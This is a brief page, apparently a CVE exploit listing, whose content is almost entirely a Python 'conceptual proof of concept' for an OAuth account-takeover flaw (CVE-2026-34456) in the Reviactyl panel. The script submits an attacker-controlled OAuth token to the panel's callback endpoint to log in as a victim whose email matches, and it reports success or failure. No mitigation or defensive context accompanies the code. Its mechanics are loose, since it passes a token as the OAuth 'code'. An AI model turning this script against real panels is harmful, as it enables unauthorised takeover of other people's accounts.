CVE-2026-34456 Reviactyl OAuth账户接管漏洞

# Conceptual Proof of Concept for CVE-2026-34456 # This script demonstrates the logic of the account takeover vulnerability. import requests target_panel = "https://target-reviactyl-instance.com" victim_email = "[email protected]" # Attacker controls this social account registered with victim_email attacker_oauth_token = "gho_attacker_controlled_token" session = requests.Session() # Step 1: Initiate OAuth login normally (e.g., via GitHub) login_url = f"{target_panel}/auth/github" print(f"[*] Initiating OAuth flow to {target_panel}") # Step 2: Simulate the callback from the OAuth provider # The vulnerable server compares the email returned by the provider # with existing users. Since they match, it logs in the victim. callback_url = f"{target_panel}/auth/callback" payload = { "code": attacker_oauth_token, "state": "random_state_value" } response = session.post(callback_url, data=payload) if response.status_code == 200 and "dashboard" in response.url: print("[+] Success! Logged in as victim account using OAuth bypass.") else: print("[-] Failed to exploit or patch applied.")